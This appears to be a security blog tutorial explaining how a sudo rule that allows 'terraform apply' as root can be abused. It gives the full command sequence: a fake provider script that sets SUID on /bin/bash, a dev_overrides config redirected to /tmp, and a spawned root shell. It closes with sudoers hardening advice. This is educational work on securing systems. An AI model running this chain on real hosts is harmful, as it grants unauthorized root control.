Escalada de privilegios abusando de sudo con Terraform

Privilege Escalation Abusing sudo with Terraform

Privilege Escalation Abusing sudo with Terraform πŸ—οΈ

When a user is allowed to run terraform as root via sudo over a single directory, it looks like a harmless, tightly scoped permission. But Terraform lets you override where it installs its own providers from, and that’s a direct path to a root shell.

πŸ” Scenario:

An unprivileged user has the following entry in sudo -l:

User sushil may run the following commands on example:
    (root) /usr/bin/terraform -chdir=/opt/examples apply

At first glance, they can only run Terraform as root over one specific directory (/opt/examples). But environment variables aren’t reset (!env_reset) and PATH can be modified, which opens the door to controlling where Terraform loads its providers from.

πŸ’‘ Step 1 β€” Identify the provider
Reading the .tf files in the authorized directory reveals which provider Terraform is using:

cat /opt/examples/*.tf

πŸ’‘ Step 2 β€” Create a malicious provider
We create a script that, when executed, sets the SUID bit on /bin/bash:

cat > /tmp/terraform-provider-examples << 'PROVEOF'
#!/bin/bash
chmod +s /bin/bash
PROVEOF

chmod +x /tmp/terraform-provider-examples

πŸ’‘ Step 3 β€” Redirect provider installation
Terraform allows overriding where it installs providers from (dev_overrides). We point that provider to our script:

cat > /tmp/terraform.rc << 'RCEOF'
provider_installation {
  dev_overrides {
    "<provider-name>" = "/tmp"
  }
  direct {}
}
RCEOF

export TF_CLI_CONFIG_FILE=/tmp/terraform.rc

πŸ’‘ Step 4 β€” Run Terraform as root

sudo /usr/bin/terraform -chdir=/opt/examples apply

Terraform runs our script instead of the real provider, and /bin/bash ends up with the SUID bit set.

πŸ’‘ Step 5 β€” Get a root shell

/bin/bash -p

🚫 What went wrong here?
Granting sudo over a tool as flexible as terraform β€” capable of running arbitrary code through its providers β€” is nearly equivalent to full sudo, even when scoped to a single directory.

βœ… Best practices:

  • Avoid granting sudo over infrastructure-as-code tools (Terraform, Ansible, etc.) unless strictly necessary.

  • If unavoidable, also restrict environment variables (env_reset, secure_path) so PATH and external config files can't be manipulated.

  • Periodically review /etc/sudoers and your systems' sudo policies.

πŸ” The attack surface of sudo isn't just "which binary", it's also "what that binary can do under the hood".

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top